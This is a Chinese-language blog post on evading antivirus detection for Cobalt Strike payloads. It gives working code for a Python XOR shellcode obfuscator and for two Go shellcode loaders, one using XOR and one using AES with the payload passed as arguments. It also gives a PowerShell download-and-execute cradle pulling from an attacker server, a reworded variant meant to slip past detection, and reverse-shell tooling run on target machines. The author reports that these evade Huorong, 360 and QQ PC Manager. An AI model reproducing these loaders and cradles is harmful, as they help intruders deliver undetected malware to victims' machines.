0x01背景 元旦在家没什么事,回顾了一下近两个月做的事,分享一些自己平时做免杀时用到的工具和方法。
0x02exe上线cs免杀 首先在Cobalt Strike服务器中生成c的payload文件-payload.c
1、异或免杀 把payload.c的shellcode部分填入xor的shellcode字段中 xor.py内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 def xor(shellcode, key): new_shellcode = "" key_len = len(key) # 对shellcode的每一位进行xor亦或处理 for i in range(0, len(shellcode)): s = ord(shellcode[i]) p = ord((key[i % key_len])) s = s ^ p # 与p异或,p就是key中的字符之一 s = chr(s) new_shellcode += s return new_shellcode def random_decode(shellcode): j = 0 new_shellcode = "" for i in range(0,len(shellcode)): if i % 2 == 0: new_shellcode[i] = shellcode[j] j += 1 return new_shellcode def add_random_code(shellcode, key): new_shellcode = "" key_len = len(key) for i in range(0, len(shellcode)): new_shellcode += shellcode[i] new_shellcode += key[i % key_len] return new_shellcode def str_to_hex(shellcode): raw = "" for i in range(0, len(shellcode)): s = hex(ord(shellcode[i])).replace("0x",',0x') raw = raw + s return raw if __name__ == '__main__': shellcode="\xfc\x48\x83\..." #这是异或和增加随机字符使用的key key = "planet" shellcode = xor(shellcode, key) shellcode = add_random_code(shellcode, key) print(str_to_hex(shellcode))
执行xor.py
把刚才生成的shellcode填到shell.go的shellcode字段中,记得两个文件key要一致。 shell.go内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package main import ( "syscall" "time" "unsafe" ) const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。 ) var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") ) func main() { mix_shellcode := []byte{0x8c,0x70,...} var ttyolller []byte key := []byte("planet")#xor.py中的key var key_size = len(key) var shellcode_final []byte var j = 0 time.Sleep(2) //fmt.Print(len(mix_shellcode)) for i := 0; i < len(mix_shellcode); i++ { if i%2 == 0 { shellcode_final = append(shellcode_final, mix_shellcode[i]) j += 1 } } time.Sleep(3) //fmt.Print(shellcode_final) // 解密异或 for i := 0; i < len(shellcode_final); i++ { ttyolller = append(ttyolller, shellcode_final[i]^key[i%key_size]) } time.Sleep(3) addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } time.Sleep(3) _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0) }
执行go build -ldflags=”-H windowsgui -w -s” shell.go生成shell.exe
实测可过火绒
2、加载分离参数免杀 先用生成器生成AES加密的Shellcode,加载器代码中无Shellcode,使用时用参数调用。 1.go内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package main import ( "bytes" "crypto/aes" "crypto/cipher" "encoding/base64" "encoding/hex" "fmt" "math/rand" "os" "strings" "time" ) //随机生成key,后面用来解密的 func key(l int) string { str := "0123456789abcdefghijklmnopqrstuvwxyz" bytes := []byte(str) result := []byte{} r := rand.New(rand.NewSource(time.Now().UnixNano())) for i := 0; i < l; i++ { result = append(result, bytes[r.Intn(len(bytes))]) } return string(result) } //使用PKCS5进行填充用来 func PKCS5Padding(ciphertext []byte, blockSize int) []byte { padding := blockSize - len(ciphertext)%blockSize padtext := bytes.Repeat([]byte{byte(padding)}, padding) return append(ciphertext, padtext...) } //进行aes加密 func AesEncrypt(origData, key []byte) ([]byte, error) { block, err := aes.NewCipher(key) if err != nil { return nil, err } blockSize := block.BlockSize() origData = PKCS5Padding(origData, blockSize) blockMode := cipher.NewCBCEncrypter(block, key[:blockSize]) crypted := make([]byte, len(origData)) blockMode.CryptBlocks(crypted, origData) return crypted, nil } //主函数入口,对字符进行了处理 func main() { argsWithProg := os.Args if len(argsWithProg) < 2 { fmt.Println("usage : ", argsWithProg[0], " paylaod.c") return } confFile := os.Args[1] str2 := strings.Replace(confFile, "\\x", "", -1) data, _ := hex.DecodeString(str2) key1 := key(16) fmt.Println("Key:", key1) var key []byte = []byte(key1) aes, _ := AesEncrypt(data, key) encoded := base64.StdEncoding.EncodeToString(aes) fmt.Println("Code:", encoded) }
go run 1.go 生成KEY和加密值 保存KEY和code。
2.go内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 package main import ( "crypto/aes" "crypto/cipher" "encoding/base64" "os" "syscall" "unsafe" ) //这一块是定义一些东西去加载我们的shellcode var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { ret, _, _ := procVirtualProtect.Call( uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(lpflOldProtect)) return ret > 0 } //shellcode执行函数 func Run(sc []byte) { f := func() {} var oldfperms uint32 if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) { panic("Call to VirtualProtect failed!") } **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc)) var oldshellcodeperms uint32 if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) { panic("Call to VirtualProtect failed!") } f() } //同样为了保证我们的shellcode正常运行要进行PKCS5的操作 func PKCS5UnPadding(origData []byte) []byte { length := len(origData) unpadding := int(origData[length-1]) return origData[:(length - unpadding)] } //经典的aes解密操作 func AesDecrypt(crypted, key []byte) ([]byte, error) { block, err := aes.NewCipher(key) if err != nil { return nil, err } blockSize := block.BlockSize() blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) origData := make([]byte, len(crypted)) blockMode.CryptBlocks(origData, crypted) origData = PKCS5UnPadding(origData) return origData, nil } //运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode func main() { key1 := os.Args[1] payload1 := os.Args[2] encoded2, _ := base64.StdEncoding.DecodeString(payload1) var key []byte = []byte(key1) AES, _ := AesDecrypt(encoded2, key) Run(AES) }
go build 2.go 编译生成加载器
在目标机执行2.exe key code 调用shellcode执行上线 tips:木马在目标机执行的目录与本地生成的目录要对应,否则会报错 以下是我踩坑记录 原因是我在第一步生成key和code的时候目录与目标机不一致。 所以如果在目标机c:\windows\目录执行就要在本地c:\windows\目录生成。
实测可过360、火绒、qq电脑管家。
3、CS_loader 可用go、python、c等生成cs免杀exe 项目地址:https://github.com/Gality369/CS-Loader 相关使用项目中介绍的很清楚,这里不过多赘述。 以go为例 这里我是将图片传到了自己服务器web根目录。 实测可过火绒。
4、掩日 项目地址:https://github.com/dayuxiyou/AV_Evasion_Tool/releases/tag/3.0 相关使用项目中介绍的很清楚,这里不过多赘述。 单独放出来是此项目可结合以上exe进行组合免杀
0x03powershell免杀 1、cs powershell上线 cs的powershell上线原理是直接把文本转为exe运行,无文件落地,更具隐蔽性
生成paylaod
1 powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxx.xxx.xxx.xxx:8088/a'))"
直接执行会被杀掉
此时我们替换一下位置
1 echo IEX ((new-object net.webclient).downloadstring('http://xxx.xxx.xxx.xxx:8088/a')) | powershell -
成功上线。
但是过不了360
2、powershell反弹shell 这里借助工具,ReverseTCPShell 项目地址:https://github.com/ZHacker13/ReverseTCPShell
1、生成paylaod 在本地运行或者在vps运行都行
我这里是在本地运行
1 powershell .\ReverseTCP.ps1
配置好vps地址和监听端口即可生成两种形式的payload(cmd和powershell) 在目标机cmd下执行cmd的payload即可返回一个shell
linux下运行需要安装powershell 各系统安装方法参考:https://docs.microsoft.com/zh-cn/powershell/scripting/install/install-centos?view=powershell-7.2 我这里以centos为例
1 2 3 4 cat /etc/redhat-release #查看centos版本 curl https://packages.microsoft.com/config/rhel/7/prod.repo | sudo tee /etc/yum.repos.d/microsoft.repo #获取资源 sudo yum install -y powershell #安装 pwsh #验证是否安装成功
安装完成后上传文件并赋予执行权限 然后执行pwsh ./ReverseTCP.ps1即可
参考链接:https://mp.weixin.qq.com/s/ycL0a4XBxReAzKD2VaQ3kg https://mp.weixin.qq.com/s/EPGqIf8Mo0V9NHglKnpqrQ